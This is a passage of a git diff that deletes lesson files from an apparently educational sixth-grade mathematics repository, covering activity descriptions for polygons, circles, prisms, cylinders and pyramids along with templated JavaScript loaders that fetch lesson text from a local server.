-     {'filename':'content/Mathematics/map612m09/map612m09a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m09/map612m09a03/source.txt b/Save_Mathematics/P6/map612m09/map612m09a03/source.txt
deleted file mode 100644
index 116789b..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will provide a set of problems involving the identification of polygons and determining their perimeter and area. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a04/a.txt b/Save_Mathematics/P6/map612m09/map612m09a04/a.txt
deleted file mode 100644
index 12aa39e..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a04/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-This activity will introduce the special properties of regular polygons. It will give examples of problems in determining interior and exterior angles, perimeter and area of regular polygons. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a04/description.py b/Save_Mathematics/P6/map612m09/map612m09a04/description.py
deleted file mode 100644
index 98f6d23..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m09a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m09/map612m09a04/lesson.js b/Save_Mathematics/P6/map612m09/map612m09a04/lesson.js
deleted file mode 100644
index 1aab968..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m09/map612m09a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m09/map612m09a04/source.txt b/Save_Mathematics/P6/map612m09/map612m09a04/source.txt
deleted file mode 100644
index 12aa39e..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a04/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-This activity will introduce the special properties of regular polygons. It will give examples of problems in determining interior and exterior angles, perimeter and area of regular polygons. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a05/a.txt b/Save_Mathematics/P6/map612m09/map612m09a05/a.txt
deleted file mode 100644
index adc6bb5..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a05/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-This activity will present problems in determining interior and exterior angles, perimeter and area of regular polygons. If the student gives an incorrect answer, the activity show how to derive the correct solution. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a05/description.py b/Save_Mathematics/P6/map612m09/map612m09a05/description.py
deleted file mode 100644
index 4c1c4ab..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m09a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m09/map612m09a05/lesson.js b/Save_Mathematics/P6/map612m09/map612m09a05/lesson.js
deleted file mode 100644
index 37f90d6..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m09/map612m09a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m09/map612m09a05/source.txt b/Save_Mathematics/P6/map612m09/map612m09a05/source.txt
deleted file mode 100644
index adc6bb5..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a05/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-This activity will present problems in determining interior and exterior angles, perimeter and area of regular polygons. If the student gives an incorrect answer, the activity show how to derive the correct solution. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a06/a.txt b/Save_Mathematics/P6/map612m09/map612m09a06/a.txt
deleted file mode 100644
index 25d82c9..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a06/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present a set of problems in determining interior and exterior angles of polygons, their perimeter and area. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a06/description.py b/Save_Mathematics/P6/map612m09/map612m09a06/description.py
deleted file mode 100644
index 675aff4..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m09a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m09/map612m09a06/lesson.js b/Save_Mathematics/P6/map612m09/map612m09a06/lesson.js
deleted file mode 100644
index a63af6e..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m09/map612m09a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m09/map612m09a06/source.txt b/Save_Mathematics/P6/map612m09/map612m09a06/source.txt
deleted file mode 100644
index 25d82c9..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a06/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present a set of problems in determining interior and exterior angles of polygons, their perimeter and area. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a07/a.txt b/Save_Mathematics/P6/map612m09/map612m09a07/a.txt
deleted file mode 100644
index 76df162..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a07/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Enrichment
-
-This activity will use the Turtle Blocks activity to show the students how to make the turtle construct regular and irregular polygons. 
diff --git a/Save_Mathematics/P6/map612m09/map612m09a07/description.py b/Save_Mathematics/P6/map612m09/map612m09a07/description.py
deleted file mode 100644
index f5fad54..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a07/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m09a07',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m09/map612m09a07/lesson.js b/Save_Mathematics/P6/map612m09/map612m09a07/lesson.js
deleted file mode 100644
index 244731b..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a07/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m09/map612m09a07/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m09/map612m09a07/source.txt b/Save_Mathematics/P6/map612m09/map612m09a07/source.txt
deleted file mode 100644
index 76df162..0000000
--- a/Save_Mathematics/P6/map612m09/map612m09a07/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Enrichment
-
-This activity will use the Turtle Blocks activity to show the students how to make the turtle construct regular and irregular polygons. 
diff --git a/Save_Mathematics/P6/map612m10/activities.js b/Save_Mathematics/P6/map612m10/activities.js
deleted file mode 100644
index 1e3c36c..0000000
--- a/Save_Mathematics/P6/map612m10/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m10a01','blue'],
-['2','2','map6','basic','map612m10a02','blue'],
-['3','3','map6','basic','map612m10a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m10/map612m10a01/a.txt b/Save_Mathematics/P6/map612m10/map612m10a01/a.txt
deleted file mode 100644
index f9f1bd6..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a01/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-This activity will introduce the terms describing a circle: circumference, diameter, radius, sector, quadrant, chord, pi.
-
-The student will be shown how to determine the circumference (perimeter) of a circle and the area. The student will see how to determine the perimeter and area of sectors of circles. The areas of circles and polygons will be combined to determine the area of irregular figures.
diff --git a/Save_Mathematics/P6/map612m10/map612m10a01/description.py b/Save_Mathematics/P6/map612m10/map612m10a01/description.py
deleted file mode 100644
index 481def8..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m10a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m10/map612m10a01/lesson.js b/Save_Mathematics/P6/map612m10/map612m10a01/lesson.js
deleted file mode 100644
index 5f0a02f..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m10/map612m10a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m10/map612m10a01/source.txt b/Save_Mathematics/P6/map612m10/map612m10a01/source.txt
deleted file mode 100644
index f9f1bd6..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a01/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-This activity will introduce the terms describing a circle: circumference, diameter, radius, sector, quadrant, chord, pi.
-
-The student will be shown how to determine the circumference (perimeter) of a circle and the area. The student will see how to determine the perimeter and area of sectors of circles. The areas of circles and polygons will be combined to determine the area of irregular figures.
diff --git a/Save_Mathematics/P6/map612m10/map612m10a02/a.txt b/Save_Mathematics/P6/map612m10/map612m10a02/a.txt
deleted file mode 100644
index 1e4d595..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a02/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Guided Practice
-
-This activity will provide problems in determining the perimeter and area of circles and parts of circles and involving using the area of polygons and circles or parts of circles to determine the area of irregular figures.
-
-If the student does not supply a correct solution, the computer will show the solution.
diff --git a/Save_Mathematics/P6/map612m10/map612m10a02/description.py b/Save_Mathematics/P6/map612m10/map612m10a02/description.py
deleted file mode 100644
index 332bfc2..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m10a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m10/map612m10a02/lesson.js b/Save_Mathematics/P6/map612m10/map612m10a02/lesson.js
deleted file mode 100644
index af3fdd8..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m10/map612m10a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m10/map612m10a02/source.txt b/Save_Mathematics/P6/map612m10/map612m10a02/source.txt
deleted file mode 100644
index 1e4d595..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a02/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Guided Practice
-
-This activity will provide problems in determining the perimeter and area of circles and parts of circles and involving using the area of polygons and circles or parts of circles to determine the area of irregular figures.
-
-If the student does not supply a correct solution, the computer will show the solution.
diff --git a/Save_Mathematics/P6/map612m10/map612m10a03/a.txt b/Save_Mathematics/P6/map612m10/map612m10a03/a.txt
deleted file mode 100644
index 4a1cbf1..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The student will be given a set of problems involving the perimeter and area of circles, parts of circles and using this to determine the area of irregular figures. 
diff --git a/Save_Mathematics/P6/map612m10/map612m10a03/description.py b/Save_Mathematics/P6/map612m10/map612m10a03/description.py
deleted file mode 100644
index 8a65cc8..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m10a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m10/map612m10a03/lesson.js b/Save_Mathematics/P6/map612m10/map612m10a03/lesson.js
deleted file mode 100644
index eda76d1..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m10/map612m10a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m10/map612m10a03/source.txt b/Save_Mathematics/P6/map612m10/map612m10a03/source.txt
deleted file mode 100644
index 4a1cbf1..0000000
--- a/Save_Mathematics/P6/map612m10/map612m10a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-The student will be given a set of problems involving the perimeter and area of circles, parts of circles and using this to determine the area of irregular figures. 
diff --git a/Save_Mathematics/P6/map612m11/activities.js b/Save_Mathematics/P6/map612m11/activities.js
deleted file mode 100644
index bd078f8..0000000
--- a/Save_Mathematics/P6/map612m11/activities.js
+++ /dev/null
@@ -1,7 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m11a01','blue'],
-['2','2','map6','basic','map612m11a02','blue'],
-['3','3','map6','basic','map612m11a03','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m11/map612m11a01/a.txt b/Save_Mathematics/P6/map612m11/map612m11a01/a.txt
deleted file mode 100644
index 7a0d30a..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a01/a.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-This activity will introduce the student to the prism and to terms used to describe them.
-
-The activity will show how the methods used to determine the area of figures can be used to determine the volume of prisms. In particular, the activity will show how prisms can be 'flattened' to form an irregular figure for which the area can be determined.
diff --git a/Save_Mathematics/P6/map612m11/map612m11a01/description.py b/Save_Mathematics/P6/map612m11/map612m11a01/description.py
deleted file mode 100644
index c6c052b..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m11a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m11/map612m11a01/lesson.js b/Save_Mathematics/P6/map612m11/map612m11a01/lesson.js
deleted file mode 100644
index 5688058..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m11/map612m11a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m11/map612m11a01/source.txt b/Save_Mathematics/P6/map612m11/map612m11a01/source.txt
deleted file mode 100644
index 7a0d30a..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a01/source.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-Introduction
-
-This activity will introduce the student to the prism and to terms used to describe them.
-
-The activity will show how the methods used to determine the area of figures can be used to determine the volume of prisms. In particular, the activity will show how prisms can be 'flattened' to form an irregular figure for which the area can be determined.
diff --git a/Save_Mathematics/P6/map612m11/map612m11a02/a.txt b/Save_Mathematics/P6/map612m11/map612m11a02/a.txt
deleted file mode 100644
index 894041f..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-Problems will be given to determine the surface area and volume of prisms. If the student does not work a problem correctly, the computer will show how the correct solution is derived. 
diff --git a/Save_Mathematics/P6/map612m11/map612m11a02/description.py b/Save_Mathematics/P6/map612m11/map612m11a02/description.py
deleted file mode 100644
index 0809186..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m11a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m11/map612m11a02/lesson.js b/Save_Mathematics/P6/map612m11/map612m11a02/lesson.js
deleted file mode 100644
index deef0be..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m11/map612m11a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m11/map612m11a02/source.txt b/Save_Mathematics/P6/map612m11/map612m11a02/source.txt
deleted file mode 100644
index 894041f..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-Problems will be given to determine the surface area and volume of prisms. If the student does not work a problem correctly, the computer will show how the correct solution is derived. 
diff --git a/Save_Mathematics/P6/map612m11/map612m11a03/a.txt b/Save_Mathematics/P6/map612m11/map612m11a03/a.txt
deleted file mode 100644
index c05959f..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present some problems in determining surface area and volume of prisms 
diff --git a/Save_Mathematics/P6/map612m11/map612m11a03/description.py b/Save_Mathematics/P6/map612m11/map612m11a03/description.py
deleted file mode 100644
index 5b7073d..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m11a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m11/map612m11a03/lesson.js b/Save_Mathematics/P6/map612m11/map612m11a03/lesson.js
deleted file mode 100644
index 196e25d..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m11/map612m11a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m11/map612m11a03/source.txt b/Save_Mathematics/P6/map612m11/map612m11a03/source.txt
deleted file mode 100644
index c05959f..0000000
--- a/Save_Mathematics/P6/map612m11/map612m11a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present some problems in determining surface area and volume of prisms 
diff --git a/Save_Mathematics/P6/map612m12/activities.js b/Save_Mathematics/P6/map612m12/activities.js
deleted file mode 100644
index 69ac429..0000000
--- a/Save_Mathematics/P6/map612m12/activities.js
+++ /dev/null
@@ -1,15 +0,0 @@
-var activities = [
-['1','1','map6','basic','map612m12a01','blue'],
-['2','2','map6','basic','map612m12a02','blue'],
-['3','3','map6','basic','map612m12a03','blue'],
-['4','4','map6','basic','map612m12a04','blue'],
-['5','5','map6','basic','map612m12a05','blue'],
-['6','6','map6','basic','map612m12a06','blue'],
-['7','7','map6','basic','map612m12a07','blue'],
-['8','8','map6','basic','map612m12a08','blue'],
-['9','9','map6','basic','map612m12a09','blue'],
-['10','10','map6','basic','map612m12a10','blue'],
-['11','11','map6','basic','map612m12a11','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map612m12/map612m12a01/a.txt b/Save_Mathematics/P6/map612m12/map612m12a01/a.txt
deleted file mode 100644
index 6cdb7b3..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a01/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The cylinder will be introduced as a solid made from a circle. This concept will be used to determine surface area and volume. This will be extended to estimating the area and volume of hollow cylinders. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a01/description.py b/Save_Mathematics/P6/map612m12/map612m12a01/description.py
deleted file mode 100644
index 5f007e1..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a01/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a01/lesson.js
deleted file mode 100644
index 99a635a..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a01/source.txt b/Save_Mathematics/P6/map612m12/map612m12a01/source.txt
deleted file mode 100644
index 6cdb7b3..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a01/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The cylinder will be introduced as a solid made from a circle. This concept will be used to determine surface area and volume. This will be extended to estimating the area and volume of hollow cylinders. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a02/a.txt b/Save_Mathematics/P6/map612m12/map612m12a02/a.txt
deleted file mode 100644
index 712ac16..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a02/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will present problems in determining the area and volume of cylinders (solid and hollow). If the student's solution is not correct, the computer will show how the correct solution is derived. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a02/description.py b/Save_Mathematics/P6/map612m12/map612m12a02/description.py
deleted file mode 100644
index 85f7ff2..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a02/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a02/lesson.js
deleted file mode 100644
index 55d9d2b..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a02/source.txt b/Save_Mathematics/P6/map612m12/map612m12a02/source.txt
deleted file mode 100644
index 712ac16..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a02/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will present problems in determining the area and volume of cylinders (solid and hollow). If the student's solution is not correct, the computer will show how the correct solution is derived. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a03/a.txt b/Save_Mathematics/P6/map612m12/map612m12a03/a.txt
deleted file mode 100644
index 9b39876..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a03/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present a set of problems in determining the area and volume of cylinders. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a03/description.py b/Save_Mathematics/P6/map612m12/map612m12a03/description.py
deleted file mode 100644
index 1fc0838..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a03/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a03/lesson.js
deleted file mode 100644
index ca64fc8..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a03/source.txt b/Save_Mathematics/P6/map612m12/map612m12a03/source.txt
deleted file mode 100644
index 9b39876..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a03/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Evaluation
-
-This activity will present a set of problems in determining the area and volume of cylinders. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a04/a.txt b/Save_Mathematics/P6/map612m12/map612m12a04/a.txt
deleted file mode 100644
index 9d0836c..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a04/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The pyramid will be introduced as a solid made from a polygon base. This concept will be used to determine surface area and volume. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a04/description.py b/Save_Mathematics/P6/map612m12/map612m12a04/description.py
deleted file mode 100644
index 2e378ea..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a04/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a04/lesson.js
deleted file mode 100644
index be5df06..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map612m12/map612m12a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map612m12/map612m12a04/source.txt b/Save_Mathematics/P6/map612m12/map612m12a04/source.txt
deleted file mode 100644
index 9d0836c..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a04/source.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Introduction
-
-The pyramid will be introduced as a solid made from a polygon base. This concept will be used to determine surface area and volume. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a05/a.txt b/Save_Mathematics/P6/map612m12/map612m12a05/a.txt
deleted file mode 100644
index ffcadc7..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a05/a.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-Guided Practice
-
-The computer will present problems in determining the area and volume of pyramids. If the student's solution is not correct, the computer will show how the correct solution is derived. 
diff --git a/Save_Mathematics/P6/map612m12/map612m12a05/description.py b/Save_Mathematics/P6/map612m12/map612m12a05/description.py
deleted file mode 100644
index c426a2f..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map612m12a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map612m12/map612m12a05/lesson.js b/Save_Mathematics/P6/map612m12/map612m12a05/lesson.js
deleted file mode 100644
index d08879f..0000000
--- a/Save_Mathematics/P6/map612m12/map612m12a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
